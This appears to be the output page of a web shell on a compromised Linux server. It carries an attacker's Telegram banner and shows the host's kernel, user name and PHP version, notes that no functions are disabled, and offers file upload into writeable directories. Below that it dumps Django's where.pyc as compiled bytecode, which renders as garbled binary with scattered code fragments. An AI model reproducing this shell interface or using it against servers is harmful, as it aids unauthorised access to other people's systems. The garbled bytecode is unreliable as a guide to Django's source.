https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/db/models/sql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/db/models/sql/where.pyc
�
r�\c@@s�dZddlmZddlZddlmZddlmZddlm	Z	m
Z
ddlmZm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZd
ZdZdefd��YZdejfd��YZdefd��YZdefd��YZdefd��YZ defd��YZ!defd��YZ"defd��YZ#dS(sG
Code to manage the creation and SQL rendering of 'where' constraints.
i(tabsolute_importN(trepeat(tsettings(t
DateTimeFieldtField(tEmptyResultSettEmpty(t	Aggregate(tis_iterator(txrange(ttimezone(ttreetANDtORtEmptyShortCircuitcB@seZdZRS(st
    Internal exception used to indicate that a "matches nothing" node should be
    added to the where-clause.
    (t__name__t
__module__t__doc__(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyRst	WhereNodecB@sVeZdZeZd�Zd�Zd�Zd�Zdd�Z
d�Zd�ZRS(	sj
    Used to represent the SQL where-clause.

    The class is tied to the Query class that created it (in order to create
    the correct SQL).

    A child is usually a tuple of:
        (Constraint(alias, targetcol, field), lookup_type, value)
    where value can be either raw Python value, or Query, ExpressionNode or
    something else knowing how to turn itself into SQL.

    However, a child could also be any class with as_sql() and either
    relabeled_clone() method or relabel_aliases() and clone() methods. The
    second alternative should be used if the alias is not the only mutable
    variable.
    cC@s�t|ttf�s|S|\}}}t|�rCt|�}nt|tj�sst|jt�r|dkrtj}n't|d�r�|j}nt	|�}t|d�r�|j
||�}n||||fS(s�
        Prepare data for addition to the tree. If the data is a list or tuple,
        it is expected to be of the form (obj, lookup_type, value), where obj
        is a Constraint object, and is then slightly munged before being
        stored (to avoid storing any reference to field objects). Otherwise,
        the 'data' is stored unchanged and can be any class with an 'as_sql()'
        method.
        tisnulltvalue_annotationtprepare(t
isinstancetlistttupleRtdatetimetfieldRthasattrRtboolR(tselftdatatobjtlookup_typetvalueR((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyt
_prepare_data1s	cC@s�g}g}d
\}}t|j�}xN|jD]C}yOt|d�rj|jd|d|�\}	}
n|j|||�\}	}
Wntk
r�|d7}nJX|	r�|j|	�|j|
�n&|	dkr�|d8}q1n|d7}|j	t
kr|d}}n
d|}}||dkrE|jr<dgfSt�n||dkr1|jrgt�qtdgfSq1q1W|dkr�dgfSd|j	}
|
j|�}|r�|jr�d|}q�t|�dkr�d	|}q�n||fS(s
        Returns the SQL version of the where clause and the value to be
        substituted in. Returns '', [] if this node matches everything,
        None, [] if this node is empty, and raises EmptyResultSet if this
        node can't match anything.
        itas_sqltqnt
connectionits %s sNOT (%s)s(%s)(iiN(
tlentchildrenRR#t	make_atomRtappendtextendtNonet	connectorRtnegatedtjoin(RR$R%tresultt
result_paramsteverything_childstnothing_childstnon_empty_childstchildtsqltparamstfull_neededtempty_neededtconnt
sql_string((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR#RsN
!




	
			

	
cC@s�g}x�|jD]�}t|d�r;|j|j��qt|dt�rr|j|dj|djf�nt|dd�r|j|dj��qqW|S(Ntget_colsii(	R(RR+R<Rt
ConstraintR*taliastcol(RtcolsR5((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR<�s$cC@s�|\}}}}|jr*|jj�nd#}t|t�r{y|j|||�\}}	Wq�tk
rwt�q�Xn6t|t�r�|jj	|||�}	nt
d��t|t�r�|j||||�g}
}n|j
||�\}
}|tjk}|r|jj�nd}
t|	d�rT|	j
||�\}}	d}
nd}||	}	t|	�dkr�|	ddkr�|dkr�|jjr�d}t}n||jkr�d	|jj|�f}||
|j||
|f|	fS|d
krF|st�n|r,d|
|f|	fS|jj�}|rt|	�|krdg}x�tdt|	�|�D]~}|dkr�|jd
�n|jd|
�tt|	�||�}djtd|��}|j|�|jd�quW|jd�dj|�|	fSd|
djtdt|	���f|	fSn8|d$kr`d|
|	fS|r�|d%kr�tjr�t j!�nd#}|jj"||
|�\}}d|||	fS|d&kr�d|jj#||
�|	fS|dkr0|tt$fkst%d��d|
|r"dndfd'fS|dkrR|jj&|
�|	fS|d(kr~|jj'|�|
|
f|	fSt
d"|��d#S()s'
        Turn a tuple (Constraint(table_alias, column_name, db_type),
        lookup_type, value_annotation, params) into valid SQL.

        The first item of the tuple may also be an Aggregate.

        Returns the string for the SQL fragment and the parameters to use for
        it.
        s['make_atom' expects a Constraint or an Aggregate as the first item of its 'child' argument.s%sR#R&iitexactRs
%s %%s %%stins%s IN %st(s OR s%s IN (s, t)s
%s IN (%s)trangetyears%s BETWEEN %%s and %%stmonthtdaytweek_daythourtminutetseconds%s = %%ss#Invalid value_annotation for isnulls%s IS %sNULLsNOT tsearchtregextiregexsInvalid lookup_type: %rN(srangesyear(smonthsdayRIshoursminutessecond(smonthsdayRI((sregexRO((Rtget_internal_typeR,RR=tprocessRRRtget_db_prep_lookupt	TypeErrorRtsql_for_columnsR#Rtopstdatetime_cast_sqlRR'tfeaturest!interprets_empty_strings_as_nullstTruet	operatorstlookup_casttmax_in_list_sizeR	R*tminR/RRtUSE_TZR
tget_current_timezone_nametdatetime_extract_sqltdate_extract_sqltFalsetAssertionErrortfulltext_search_sqltregex_lookup(RR5R$R%tlvalueR Rtparams_or_valuetfield_internal_typeR7t	field_sqltfield_paramstis_datetime_fieldtcast_sqltextratformatR\tin_clause_elementstoffsett
group_sizetparam_groupttznameR6t	tz_params((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR)�s�


"	
.			


		  c	C@sW|\}}}|r4d||�||�f}n||�}|jj||�|S(s�
        Returns the SQL fragment used for the left-hand side of a column
        constraint (for example, the "T1.foo" portion in the clause
        "WHERE ... T1.foo = 6") and a list of parameters.
        s%s.%s(RUtfield_cast_sql(	RRR$R%t
internal_typettable_aliastnametdb_typetlhs((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyRTs
cC@s�x�t|j�D]�\}}t|d�r;|j|�qt|ttf�r|dj|�f|d}t|dd�r�|d|d|df|dj|�f}n||j|<qqWdS(s�
        Relabels the alias values of any children. 'change_map' is a dictionary
        mapping old (current) alias values to the new values.
        trelabel_aliasesiiitrelabeled_cloneiN(t	enumerateR(RR{RRRR|(Rt
change_maptposR5((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR{scC@sw|jjdgd|jd|j�}xI|jD]>}t|d�r_|jj|j��q1|jj|�q1W|S(s�
        Creates a clone of the tree. Must only be called on root nodes (nodes
        with empty subtree_parents). Childs must be either (Contraint, lookup,
        value) tuples, or objects supporting .clone().
        R(R-R.tclone(t	__class__t
_new_instanceR-R.R(RR*R�(RR�R5((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR�$sN(
RRRRtdefaultR"R#R<R)R,RTR{R�(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyRs	!	H		`
	t
EmptyWherecB@s eZd�Zddd�ZRS(cC@sdS(N((RRR-((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pytadd5scC@s
t�dS(N(R(RR$R%((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR#8sN(RRR�R,R#(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR�3s	tEverythingNodecB@seZdZddd�ZRS(s)
    A node that matches everything.
    cC@s
dgfS(NR&((RR$R%((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR#@sN(RRRR,R#(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR�;stNothingNodecB@seZdZddd�ZRS(s&
    A node that matches nothing.
    cC@s
t�dS(N(R(RR$R%((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR#HsN(RRRR,R#(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR�Dst
ExtraWherecB@s eZd�Zddd�ZRS(cC@s||_||_dS(N(tsqlsR7(RR�R7((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyt__init__Ms	cC@sBg|jD]}d|^q
}dj|�t|jp;d�fS(Ns(%s)s AND ((R�R/RR7(RR$R%R6R�((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR#Qs N(RRR�R,R#(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR�Ls	R=cB@s2eZdZd�Zd�Zd�Zd�ZRS(s�
    An object that can be passed to WhereNode.add() and knows how to
    pre-process itself prior to including in the WhereNode.
    cC@s!||||_|_|_dS(N(R>R?R(RR>R?R((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR�[scC@s |jr|jj||�S|S(N(Rtget_prep_lookup(RR R!((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR^s	cC@s�ddlm}ym|jrU|jj||d|dt�}|jjd|�}n't�j||d|dt�}d}Wn|k
r�t�nX|j	|j
|f|fS(sa
        Returns a tuple of data suitable for inclusion in a WhereNode
        instance.
        i(tObjectDoesNotExistR%tpreparedN(tdjango.db.models.baseR�RRRRYRyRR,RR>R?(RR R!R%R�R7Ry((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyRQcs	


cC@sZ|j|kr|St�}|j|_||j|j|j|_|_|_|SdS(N(R>RR�R?R(RR~tnew((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR|{s	*(RRRR�RRQR|(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR=Vs
			tSubqueryConstraintcB@s,eZd�Zd�Zd�Zd�ZRS(cC@s(||_||_||_||_dS(N(R>tcolumnsttargetstquery_object(RR>R�R�R�((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR��s			cC@s�|j}t|d�r�|jrB|j|jkrBtd��nt|d�sf|j|j�}n|j�}|j}|j	t
�n|jd|�}|j|j|j
|�S(Ntvaluess2Can't do subqueries with queries on different DBs.tfield_namesR%(R�Rt_dbR>t
ValueErrorR�R�t_clonetquerytclear_orderingRYtget_compilertas_subquery_conditionR�(RR$R%R�tquery_compiler((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR#�s		cC@s|j|j|j�|_dS(N(tgetR>(RR~((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR{�scC@s"|j|j|j|j|j�S(N(R�R>R�R�R�(R((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR��s(RRR�R#R{R�(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyR��s			($Rt
__future__RRt	itertoolsRtdjango.confRtdjango.db.models.fieldsRRt#django.db.models.sql.datastructuresRRtdjango.db.models.sql.aggregatesRtdjango.utils.itercompatRtdjango.utils.six.movesR	tdjango.utilsR
RRR
t	ExceptionRtNodeRR�tobjectR�R�R�R=R�(((s</tmp/pip-install-XxeQeY/django/django/db/models/sql/where.pyt<module>s,�	
.

https://t.me/AnonymousX5 - 2025